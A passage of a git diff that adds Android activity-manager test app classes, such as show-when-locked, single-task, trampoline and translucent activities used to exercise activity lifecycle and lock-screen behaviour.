+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class ResumeWhilePausingActivity extends Activity {
+    // Empty
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedActivity.java
new file mode 100644
index 0000000..1fc7b74
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedActivity extends BroadcastReceiverActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrActivity.java
new file mode 100644
index 0000000..2814361
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+public class ShowWhenLockedAttrActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = ShowWhenLockedAttrActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrRemoveAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrRemoveAttrActivity.java
new file mode 100644
index 0000000..414d021
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrRemoveAttrActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.os.Bundle;
+
+public class ShowWhenLockedAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = ShowWhenLockedAttrRemoveAttrActivity.class.getSimpleName();
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        setShowWhenLocked(false);
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrWithDialogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrWithDialogActivity.java
new file mode 100644
index 0000000..4f9b214
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrWithDialogActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedAttrWithDialogActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        new AlertDialog.Builder(this)
+                .setTitle("Dialog")
+                .show();
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedDialogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedDialogActivity.java
new file mode 100644
index 0000000..56eb154
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedDialogActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedDialogActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedTranslucentActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedTranslucentActivity.java
new file mode 100644
index 0000000..6422104
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedTranslucentActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedTranslucentActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+        setContentView(R.layout.translucent);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedWithDialogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedWithDialogActivity.java
new file mode 100644
index 0000000..3951532
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedWithDialogActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedWithDialogActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+        new AlertDialog.Builder(this)
+                .setTitle("Dialog")
+                .show();
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SingleInstanceActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SingleInstanceActivity.java
new file mode 100644
index 0000000..2c8b40f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SingleInstanceActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class SingleInstanceActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SingleTaskActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SingleTaskActivity.java
new file mode 100644
index 0000000..d95aa3f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SingleTaskActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class SingleTaskActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SlowCreateActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SlowCreateActivity.java
new file mode 100644
index 0000000..26992c1
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SlowCreateActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class SlowCreateActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            Thread.sleep(2000);
+        } catch(InterruptedException e) {}
+        super.onCreate(savedInstanceState);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SplashscreenActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SplashscreenActivity.java
new file mode 100644
index 0000000..2d8fbae
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SplashscreenActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.SystemClock;
+
+/**
+ * Activity that shows a custom splashscreen when being launched.
+ */
+public class SplashscreenActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        // Make sure splash screen is visible. The test won't take 5 seconds because the condition
+        // such that we can dump the state will trigger much earlier and then the test will just
+        // kill us.
+        SystemClock.sleep(5000);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshActivity.java
new file mode 100644
index 0000000..8e2b781
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.server.am.SwipeRefreshLayout;
+
+
+/**
+ * An activity containing a SwipeRefreshLayout which prevents activity idle.
+ */
+public class SwipeRefreshActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = SwipeRefreshActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(new SwipeRefreshLayout(this));
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshLayout.java b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshLayout.java
new file mode 100644
index 0000000..2b3071c
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshLayout.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.Context;
+import android.util.AttributeSet;
+
+/**
+ * An extension of {@link android.support.v4.widget.SwipeRefreshLayout} that calls
+ * {@link #setRefreshing} during construction, preventing activity idle.
+ */
+public class SwipeRefreshLayout extends android.support.v4.widget.SwipeRefreshLayout {
+    public SwipeRefreshLayout(Context context) {
+        super(context);
+        initialize();
+    }
+
+    public SwipeRefreshLayout(Context context, AttributeSet attrs) {
+        super(context, attrs);
+        initialize();
+    }
+
+    private void initialize() {
+        setRefreshing(true);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivity.java
new file mode 100644
index 0000000..a71ab34
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivity.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TestActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = TestActivity.class.getSimpleName();
+
+    // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
+    private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+
+    // Finishes the activity
+    private static final String ACTION_FINISH_SELF = "android.server.am.TestActivity.finish_self";
+
+    private BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent != null && intent.getAction().equals(ACTION_FINISH_SELF)) {
+                finish();
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        // Set the fixed orientation if requested
+        if (getIntent().hasExtra(EXTRA_FIXED_ORIENTATION)) {
+            final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
+            setRequestedOrientation(ori);
+        }
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        registerReceiver(mReceiver, new IntentFilter(ACTION_FINISH_SELF));
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        final Configuration config = getResources().getConfiguration();
+        dumpDisplaySize(config);
+        dumpConfiguration(config);
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        unregisterReceiver(mReceiver);
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpDisplaySize(newConfig);
+        dumpConfiguration(newConfig);
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TestActivityWithSameAffinity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivityWithSameAffinity.java
new file mode 100644
index 0000000..d89d786
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivityWithSameAffinity.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.PictureInPictureParams;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TestActivityWithSameAffinity extends TestActivity {
+
+    private static final String TAG = TestActivityWithSameAffinity.class.getSimpleName();
+
+    // Calls enterPictureInPicture() on creation
+    private static final String EXTRA_ENTER_PIP = "enter_pip";
+    // Starts the activity (component name) provided by the value at the end of onCreate
+    private static final String EXTRA_START_ACTIVITY = "start_activity";
+    // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
+    private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        // Enter picture in picture if requested
+        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        }
+
+        // Launch a new activity if requested
+        String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
+        if (launchActivityComponent != null) {
+            Intent launchIntent = new Intent();
+            launchIntent.setComponent(ComponentName.unflattenFromString(launchActivityComponent));
+            startActivity(launchIntent);
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        // Finish self if requested
+        if (getIntent().hasExtra(EXTRA_FINISH_SELF_ON_RESUME)) {
+            finish();
+        }
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TopActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TopActivity.java
new file mode 100644
index 0000000..7d69ef9
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TopActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.os.Handler;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TopActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = TopActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
+        if (useWallpaper) {
+            setTheme(R.style.WallpaperTheme);
+        }
+
+        final int finishDelay = getIntent().getIntExtra("FINISH_DELAY", 0);
+        if (finishDelay > 0) {
+            Handler handler = new Handler();
+            handler.postDelayed(new Runnable() {
+                @Override
+                public void run() {
+                    Log.d(TAG, "Calling finish()");
+                    finish();
+                }
+            }, finishDelay);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TopLeftLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TopLeftLayoutActivity.java
new file mode 100644
index 0000000..1302b22
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TopLeftLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class TopLeftLayoutActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TopRightLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TopRightLayoutActivity.java
new file mode 100644
index 0000000..bb13c01
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TopRightLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class TopRightLayoutActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TrampolineActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TrampolineActivity.java
new file mode 100644
index 0000000..7391b04
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TrampolineActivity.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.os.Bundle;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.content.Intent;
+
+public class TrampolineActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = TrampolineActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        // Add a delay here to expose more easily a failure case where the real target
+        // activity is visible before it's launched, because its task is being brought
+        // to foreground. We need to verify that 'am start' is unblocked correctly.
+        try {
+            Thread.sleep(2000);
+        } catch(InterruptedException e) {}
+        Intent intent = new Intent(this, SingleTaskActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_NEW_TASK);
+
+        startActivity(intent);
+        finish();
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentActivity.java
new file mode 100644
index 0000000..a83ceaf
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class TranslucentActivity extends Activity {
+
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentAssistantActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentAssistantActivity.java
new file mode 100644
index 0000000..2ad5e17
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentAssistantActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TranslucentAssistantActivity extends AssistantActivity {
+
+    /**
+     * Launches a new instance of the TranslucentAssistantActivity directly into the assistant
+     * stack.
+     */
+    static void launchActivityIntoAssistantStack(Activity caller, Bundle extras) {
+        final Intent intent = new Intent(caller, TranslucentAssistantActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+        if (extras != null) {
+            intent.putExtras(extras);
+        }
+
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchActivityType(ACTIVITY_TYPE_ASSISTANT);
+        caller.startActivity(intent, options.toBundle());
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTestActivity.java
new file mode 100644
index 0000000..ba60f67
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTestActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
